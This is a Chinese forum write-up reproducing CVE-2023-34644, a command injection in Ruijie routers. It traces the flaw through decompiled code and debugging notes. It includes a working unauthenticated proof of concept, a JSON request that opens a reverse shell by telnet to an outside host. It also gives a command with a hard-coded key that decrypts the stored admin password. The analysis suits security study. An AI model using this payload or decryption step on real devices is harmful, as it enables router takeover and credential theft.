v72 += snprintf(&v66[v70], v68, " '%s'", v71);//这里存在了命令注入,data字段的值为我们可控,造成了任意命令拼接到原本的字符串上
v73 = a1[21];
if ( v73 )
snprintf(v72, v68, " %s", v73);
}
......
v74 = *(_DWORD *)(*a1 + 4);
v75 = strcmp(v74, "set");
v76 = *((unsigned __int8 *)a1 + 19);
if ( (!v75 || !strcmp(v74, 0x41FBF4) || a3) && *((_BYTE *)a1 + 4) )
{
......
}
else
{
v18 = ufm_commit_add(0, v66, 0, a2);//此处的v66是上面拼接后的最终命令
}

ufm_commit_add函数最开始直接调用了async_cmd_push_queue函数,下面对该函数进行分析。

int __fastcall async_cmd_push_queue(_DWORD *a1, const char *a2, unsigned __int8 a3)
{
v3 = a3;
......
memset(v6, 0, 68);
if ( !a1 )//a1是传入进来的0
{
if ( a2 )//a2是注入的命令字符串
{
v19 = strdup(a2); // 会走到这里
*(_DWORD *)(v7 + 28) = v19;//将命令存储到偏移28的位置,这里比较重要
if ( v19 )
goto LABEL_34; // 会从这里跳转
......
}
}
......
LABEL_34:
v20 = (_DWORD *)dword_435DE0;
*(_DWORD *)(v7 + 60) = &commit_task_head;
dword_435DE0 = v7 + 60;
v21 = dword_4360A4;
*(_DWORD *)(v7 + 64) = v20;
*v20 = v7 + 60;
dword_4360A4 = v21 + 1;
*(_BYTE *)(v7 + 32) = v3;
if ( !v3 )
sem_init(v7 + 36, 0, 0);
pthread_mutex_unlock(&unk_4360B8);
sem_post(&unk_4360A8);//这里将信号量加上了1,意味着其他地方应该是有sem_wait阻塞了一个线程的执行
return v7;
}

切换线程-命令执行

对信号量unk_4360A8进行交叉引用,定位到了sub_41AFC8函数。只要上面的代码执行sem_post将该信号量加一,那么这个线程就能继续运行,从而调用sub_41ADF0函数(调试这里需要取消线程锁定)。

void __fastcall __noreturn sub_41AFC8(int a1)
{
......
while ( 1 )
{
do
{
sem_wait(&unk_4360A8);
......
}
while ( !v4 );
......
sub_41ADF0(v4);
......
}
}

下面对sub_41ADF0函数做简单的分析。

int __fastcall sub_41ADF0(_DWORD *a1)
{
v1 = *a1;
if ( *a1 )//为0 进不去这个if
{
......
}
else
{
if ( !*((_BYTE *)a1 + 32) )//*((_BYTE *)a1 + 32)为0,可以进入if
{
result = ufm_popen((const char *)a1[7], a1 + 13);//这个a1[7],也就是偏移28的位置,上文中提到最后拼接的命令就被写入了一个结构体偏移28的位置,因此这里触发命令执行,且没有做任何过滤
v3 = a1;
goto LABEL_9;
}
}
return result;
}

POC

/cgi-bin/luci/api/auth路径发送POST报文,即可在未授权的情况下拿到路由器的最高权限。

{
"method": "merge",
"params": {
"sorry": "'$(mkfifo /tmp/test;telnet 192.168.45.66 6666 0</tmp/test|/bin/sh > /tmp/test)'"
}
}

攻击演示

上面对lua文件以及二进制文件的调用链进行了分析和调试,下面记录下在分析过程中自己产生的疑问以及自己探究出的答案。


疑问&&解决

deal_remote_config_handle函数是怎么被触发的

uf_cmd_task_init函数中,调用了create_thread函数,该函数调用了pthread_create函数来创建一个新的线程。

int __fastcall create_thread(int a1)
{
int result; // $v0

result = pthread_create();
if ( result )
{
*(_BYTE *)(a1 + 13) = 0;
result = -1;
}
else
{
*(_BYTE *)(a1 + 13) = 1;
}
return result;
}

直接看IDA发现create_thread函数中并没有参数,但是该函数的定义如下:

int pthread_create(pthread_t *thread, const pthread_attr_t *attr,
void *(*start_routine)(void *), void *arg);

其中标明了第三个参数(寄存器应该为$a2)是新线程的执行入口函数,判断出这里是IDA的显示问题,分析汇编代码查看pthread_create函数的第三个参数。

LOAD:0040BE64 li $gp, (dword_4358A0+0x7FF0 - .)
LOAD:0040BE6C addu $gp, $t9
LOAD:0040BE70 addiu $sp, -0x20
LOAD:0040BE74 la $t9, pthread_create
LOAD:0040BE78 lw $a2, 4($a0)
LOAD:0040BE7C move $a1, $zero
LOAD:0040BE80 sw $s0, 0x18+var_s0($sp)
LOAD:0040BE84 sw $gp, 0x18+var_8($sp)
LOAD:0040BE88 sw $ra, 0x18+var_s4($sp)
LOAD:0040BE8C move $a3, $a0
LOAD:0040BE90 jalr $t9 ; pthread_create
LOAD:0040BE94 move $s0, $a0

发现有指令lw $a2, 4($a0)$a0create_thread函数的实参,这里是将$a04的位置赋值给了$a2,交叉引用发现deal_remote_config_handle函数地址最终就是pthread_create函数的第三个参数。

*(_DWORD *)(v10 + 4) = deal_remote_config_handle;
if ( create_thread(v10) )

所以判断deal_remote_config_handle函数是在uf_cmd_task_init新创建的线程中当做入口函数来执行的。

用户没有传入数据时,进程在哪里被阻塞了?

IDA中有如下代码,这里从其他进程中读取了用户输入的数据,如果在uf_socket_msg_read函数执行前后分别打下断点的话,按几次c后发现,调试界面就会卡到uf_socket_msg_read函数执行后的界面。

v51 = (_DWORD *)uf_socket_msg_read(*v29, v31 + 1);

我最初一直以为是uf_socket_msg_read函数如果没有接收到数据,就会阻塞,直到接收新的数据。但这样的话,应该是卡到了uf_socket_msg_read函数执行时,并非是卡到了uf_socket_msg_read函数执行后。卡到了执行后其实就是卡到的是下一次uf_socket_msg_read函数执行前。因此就推翻了我原先的认知,为了寻找具体是哪里将进程阻塞,我下了大量的断点,逐步缩小范围,最终找到了while ( select(fbss + 1, g_fd_set, 0, 0, 0) <= 0 );

int select(int nfds, fd_set *readfds, fd_set *writefds,fd_set *exceptfds, struct timeval *timeout);

select函数允许程序监视多个文件描述符,等待所监视的一个或者多个文件描述符变为“准备就绪”的状态。所谓的”准备就绪“状态是指:文件描述符不再是阻塞状态,可以用于某类IO操作了,包括可读,可写,发生异常三种。在select函数调用之后,如果返回值大于0,表示至少有一个文件描述符“准备就绪”,程序中的select函数监视的是是否有文件描述符变成可读(也就是有数据可以读取),如果timeout == NULL,会无期限的等待下去,这个等待可以被一个信号中断,只有当一个描述符准备好,或者捕获到一个信号时函数才会返回。如果是捕获到信号,select返回-1,并将变量errno设置成EINTR

验证的话,只需要在select(fbss + 1, g_fd_set, 0, 0, 0)代码执行前后打上断点,发现确实卡在了select函数执行时,当用户发送报文后,代码就可以继续往后执行了,因为select函数已经确定了有文件描述符变成了可读,所以后面的uf_socket_msg_read函数可以顺利接收到用户传入的数据。至此确定卡住进程的并不是uf_socket_msg_read函数,而是select函数。

从deal_remote_config_handle函数如何执行到uf_cmd_call函数

我把uf_cmd_call函数当做正式调用链的入口,通过调试可以得知uf_cmd_call函数是在deal_remote_config_handle中被调用的。

但这里并非是顺序执行代码,正常触发uf_cmd_call

deal_remote_config_handle函数刚执行时就会在下面的循环卡住。

    

do
{
*(_DWORD *)(a1 + 16) = 0;
v3 = uf_task_remote_pop_queue();
*(_DWORD *)(a1 + 16) = v3;
}
while ( !v3 );

uf_task_remote_pop_queue函数开始执行了sem_wait(&unk_435E90),这里表示在等待一个信号量,如果信号量的值大于零,则将信号量的值减一,然后继续执行;如果信号量的值为零,则进程(或线程)将被阻塞,直到信号量的值大于零。通过调试的话能发现,实际造成线程卡住的代码就是sem_wait,这就说明肯定有一个地方还没有触发相应信号量的sem_post操作。

int uf_task_remote_pop_queue()
{
int v0; // $s0

sem_wait(&unk_435E90);
pthread_mutex_lock(&unk_435E74);
if ( (int *)cmd_task_remote_head == &cmd_task_remote_head )
{
v0 = 0;
}
else
{
v0 = cmd_task_remote_head - 4;
sub_40B620((_DWORD *)cmd_task_remote_head);
}
pthread_mutex_unlock(&unk_435E74);
return v0;
}

接下来对信号量进行交叉引用,sub_40B0B0中确实是一个sem_post(&unk_435E90)的操作,然后uf_task_remote_pop_queue也就是下图的位置sem_wait(&unk_435E90),最后的uf_cmd_task_init函数中是sem_init(&unk_435E90, 0, 0)。

根据上面的分析可知,只有sub_40B0B0函数存在sem_post(&unk_435E90),因此下面要追踪sub_40B0B0函数的调用链,对其交叉引用发现在sub_40B304函数进行了调用。

至此都是正常的分析思路,接下来应该继续对sub_40B304函数进行交叉引用,但这里IDA就对我的分析产生了误导,通过下图得知,应该是只有一个叫做uf_lock_cmd_pop_all的函数调用了sub_40B304。

查看uf_lock_cmd_pop_all函数代码,发现确实是进行了调用。

但如果继续跟uf_lock_cmd_pop_all这条链的话,最后就发现这条链在main函数的触发太靠前了,实际上改变信号量触发uf_cmd_call的操作一定是要在接收用户数据之后做的。并且可以用gdb验证,只需要在sub_40B0B0函数下一个断点,在uf_lock_cmd_pop_all函数下一个断点,最后发现程序没有在uf_lock_cmd_pop_all函数处断下来,而在sub_40B0B0断下来了。

因此得出结论,除去uf_lock_cmd_pop_all函数,一定还有一条链也可以触发sub_40B0B0函数,而这个链通过IDA的交叉引用并没有看到(在实际我分析这里时,我其实分析和调试了很久才做出了这个判断,因为有怀疑过gdbbug,有怀疑过是我调用链没分析明白,但最后通过分析和调试逐一排除了这些推断)也有一点运气使然,我后续无意翻看代码时,在位于add_pkg_cmd2_task函数中,我看到了sub_40B304函数,该函数是sub_40B0B0上级函数。

因此还有一条链也能改变信号量,如下:

main => add_pkg_cmd2_task => sub_40B304 => sub_40B0B0 => sem_post(&unk_435E90)

能发现这条链的原因有三个,第一是这条调用链不深(如果add_pkg_cmd2_task函数调用了三四层函数才到sub_40B304,大概率也很难找到),第二是我当时将函数重命名了(我写本文的时候将sub_40B304sub_40B0B0函数改回了IDA默认的名称,不过在我分析的时候,我对这些关键的调用函数都做了重命名,可以一眼看到这类函数,否则用默认名字,长的差不多的情况下,也不一定能注意到),第三是坚持(这个调用链的问题,我整整分析了一天,虽然结论只是IDA有点问题,但这个误导以及摆脱误导的过程是困难且有意义的,如果不是winmt师傅让我对细节的坚持,或许我早已放弃这一个小小的信号量分析)。

scp命令报错解决

在使用scp命令传输的时候,报错如下:

➜ 204 sudo scp squashfs-root.tar.gz [email protected]:/root/204.tar.gz
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
SHA256:tVc2ekHlAJNyIu0Fo9rOvfudWIVfkMpa3FSLlDcGeVQ.
Please contact your system administrator.
Add correct host key in /root/.ssh/known_hosts to get rid of this message.
Offending RSA key in /root/.ssh/known_hosts:6
remove with:
ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.45.66"
RSA host key for 192.168.45.66 has changed and you have requested strict checking.
Host key verification failed.
lost connection

产生这个错误的原因是因为SSH密钥认证的安全机制,SSH使用密钥来确保通信的安全性和身份认证,每台SSH服务器都有一个公钥和私钥。当第一次连接到SSH服务器上时,服务器会生成一对密钥,将公钥发给客户端,这个公钥会保存在客户端本地的known_hosts文件中,当以后连接到同一个服务器的时候,客户端会检查服务器发送过来的公钥是否和known_hosts文件中的公钥匹配,如果匹配,连接就会被建立,如果不匹配(可能受到了中间人攻击或者服务器密钥已更改),就会出现如上报错。

解决方法:执行ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.45.66"命令,它将删除known_hosts文件中与服务器IP地址192.168.45.66相关的密钥记录。然后重新执行scp命令进行文件传输,这样SSH客户端会检测到新的主机密钥,并将其添加到已知主机列表中(known_hosts文件)。


后续利用

拿到路由器的最高权限后,也有一些后续的利用。比如拿管理员后台密码,劫持流量(抓取未加密的数据),修改ARP缓存表等等。因为本人只是一个正在学习相关知识的学生,对大部分的利用并不成熟,目前只记录拿到管理员后台密码的分析,后续如果有其他方面的进展,也会将细节进行补充。

拿到管理员后台密码

在登录锐捷管理员后台的时候随便输入一个密码,点击登录。

Burp拦截请求,发现下面的报文中methodlogin。

这里的路径为/api/auth,根据代码entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false可知会触发rpc_auth函数。

function rpc_auth()
local jsonrpc = require "luci.utils.jsonrpc"
local http = require "luci.http"
local ltn12 = require "luci.ltn12"
local _tbl = require "luci.modules.noauth"
if tonumber(http.getenv("HTTP_CONTENT_LENGTH") or 0) > 1000 then
http.prepare_content("text/plain")
-- http.write({code = "1", err = "too long data"})
return "too long data"
end
http.prepare_content("application/json")
ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end

jsonrpc.handle(_tbl, http.source())代码中,会根据method的值调用noauth.lua文件中对应的函数(具体的调用链参考上文lua文件代码分析),这里就会调用login函数。

function login(params)
local disp = require("luci.dispatcher")
local common = require("luci.modules.common")
local tool = require("luci.utils.tool")
if params.password and tool.includeXxs(params.password) then
tool.eweblog("INVALID DATA", "LOGIN FAILED")
return
end
local authOk
local ua = os.getenv("HTTP_USER_AGENT") or "unknown brower (ua is nil)"
tool.eweblog(ua, "LOGIN UA")
local checkStat = {
password = params.password,
username = "admin", -- params.username,
encry = params.encry,
limit = params.limit
}
local authres, reason = tool.checkPasswd(checkStat)
local log_opt = {username = params.username, level = "auth.notice"}
if authres then
authOk = disp.writeSid("admin")
-- 手动登录时设置时间
if params.time and tonumber(params.time) then
common.setSysTime({time = params.time})
end
log_opt.action = "login-success"
else
log_opt.action = "login-fail"
end
tool.write_log(log_opt)
return authOk
end

上面的代码中,我们关注下检查密码的函数checkPasswd(它的参数是一个叫做checkStat的表,其中包含了前端传入的加密后的密码),该函数定义在luci/utils/tool文件中。

-- 检测密码是否正确
function checkPasswd(checkStat)
local cmd = require("luci.modules.cmd")
local _data = {
type = checkStat.encry and "enc" or "noenc",
password = checkStat.password,
name = checkStat.username,
limit = checkStat.limit and "true" or nil
}
local _check = cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})
if type(_check) == "table" and _check.result == "success" then
return true
end
return false, _check.reason
end

关键触发点是cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})

lua文件中的代码cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})执行后,会走到unifyframe-sgi.elf文件中,最后将/usr/sbin/module_call get adminCheck命令执行(这里的a1[5]代表操作符get(v67+8)module字段的值adminCheck)。

v70 = snprintf(v66, v68, "/usr/sbin/module_call %s %s", (const char *)a1[5], (const char *)(v67 + 8));
v71 = (const char *)a1[20];
v72 = &v66[v70];
if ( v71 )
v72 += snprintf(&v66[v70], v68, " '%s'", v71);
v73 = a1[21];
if ( v73 )
snprintf(v72, v68, " %s", v73);
......
ufm_commit_add(0, v66, 1u, 0)//然后切换到其他线程上将 v66 命令给执行

下面来分析/usr/sbin/module_call文件代码。

#!/bin/sh
ROM_AC_CONFIG_DIR="/rom/etc/rg_config/global/"
ROM_DEV_CONFIG_DIR="/rom/etc/rg_config/single/"
RG_CONFIG_TMP_DIR="/tmp/rg_config/"
cmd="$1"
module="$2"
param="$3"
path="$4"
register_module() {
local module=$1
local module_file

module_file="/usr/bin/$module"
if [ -f "$module_file" ]; then
. "$module_file"
else
return 1
fi
return 0
}

module_init() {
......
}

get_default() {
......
}

register_module "$module"
if [ $? = 1 ]; then
return 1
fi

for arg in $* ;do
if [ "$arg" == "-n" ];then
not_change_configId=$arg
fi
done

case "$cmd" in
set|add|del|update|apply) ${module}_${cmd} "${param}" "$path" "${not_change_configId}" 2> /dev/null;;
getDefault) get_default "$module" "$param";;
get) ${module}_get "${param}";;
*) ;;
esac

cmd="$1"module="$2"这里将字符串getadminCheck分别赋给了cmdmodule变量。

首先执行了register_module "$module",简单分析一下register_module可知其在判断/usr/bin/adminCheck文件是否存在,如果不存在的话module_call文件的执行就结束了,存在的话对/usr/bin/adminCheck模块进行加载(将该文件中的代码合并到当前shell进程中,从而加载了函数和变量)

随后调用了for循环,来遍历脚本的命令行参数是否有-n(当前分析的这个链并没有),最终关键代码为下面的case语句,如果匹配到了setadddelupdateappley中的任何一个,就会执行${module}_${cmd} "${param}" "$path" "${not_change_configId}" 2> /dev/null也就是adminCheck_get 2> /dev/null。

adminCheck_get/usr/bin/adminCheck文件中的函数,主要作用是调用了函数adminCheck_parse,其关键的代码部分如下:

json_get_var password "password"
......
local ciphertext=$(cat /etc/rg_config/admin)
local passwd_old=`deenc "$ciphertext"`
......
if [ "$passwd_old" = "$password" ]
......

deenc()
{
local passwd=$1
echo "$passwd"| /usr/sbin/rg_crypto dec -t C

}

通过上面的代码可知,管理员后台密码加密后存放在/etc/rg_config/admin文件中,直接执行echo "$passwd"| /usr/sbin/rg_crypto dec -t C命令就能得到解密后的管理员后台密码。

下面用真机演示一下(我用的设备型号是EW1200G-PRO,软件版本是EW_3.0(1)B11P25,Release(07162402)) ,我看了一下这个/usr/bin/adminCheck的文件,发现它的解密和上面并不一样,这里执行的应该是echo "$passwd"| openssl enc -aes-256-cbc -d -a -k "RjYkhwzx\$2018!"。

最后执行命令如下,得到管理员密码为88888888。


尾声

对于CVE-2023-34644的复现结束了,这个漏洞的复现从开始到结束历经了一个多月(与此同时还有CVE-2023-38902的研究)。期间碰到了很多奇怪的报错以及思考时产生的疑问,比起CVE-2023-20073的复现,这次自己进行了更多的思考。再次要特别感谢winmt师傅,关于CVE-2023-34644的大部分关键点其实winmt已经写的很详细了。


但是在复现的过程中,对于我这个初学者来说,依然有很多的问题感到一知半解,有不少地方经过尝试后依然没有思路,都想得过且过,认为此处理解的不透彻也并不影响整体的分析。可在细节上得过且过,真的在独立的漏洞挖掘中有所高质量的产出么?扪心自问,我不认为会有高质量的产出。比如在上文提到的信号量触发
uf_cmd_call函数,不追踪到底的话,我只知道有个地方肯定操作了信号量导致了uf_cmd_call执行,但具体是哪里操作的信号量呢?IDA显示不完整的情况下,探究的过程并不容易。

如果不知道具体哪里操作的信号量,我就不能说完全弄清了整个的漏洞调用链,那复现一个漏洞连完整的触发调用链都没搞清,那复现的意义到底是什么呢?在复现的过程中都是一知半解,那在真实环境下进行独立的漏洞挖掘,找漏洞又何从谈起呢,甚至于找到了漏洞,但是连怎么走到漏洞点都分析不明白。感谢winmt多次“push”,让我没有得过且过。对于学习而言,可能比起当前暂时领先于常人的能力和知识而言,对 产生的问题始终保持好奇 和 “再试一次”的精神 更为重要和难得。

参考文章:

https://bbs.kanxue.com/thread277386.htm#msg_header_h2_4
https://blog.csdn.net/zujipi8736/article/details/86606093

看雪ID:ZIKH26

https://bbs.kanxue.com/user-home-953233.htm

*本文为看雪论坛精华文章,由 ZIKH26 原创,转载请注明来自看雪社区

# 往期推荐

1、区块链智能合约逆向-合约创建-调用执行流程分析

2、在Windows平台使用VS2022的MSVC编译LLVM16

3、神挡杀神——揭开世界第一手游保护nProtect的神秘面纱

4、为什么在ASLR机制下DLL文件在不同进程中加载的基址相同

5、2022QWB final RDP

6、华为杯研究生国赛 adv_lua

球分享

球点赞

球在看


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458536194&idx=1&sn=0d336bf1e5b823e34d1a8fe17d259bfc&chksm=b023d266a2c0e40330dcf3f44b70a79670193f1b8b419659cb9ebaf6bed922a93fa51f5e26f6&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh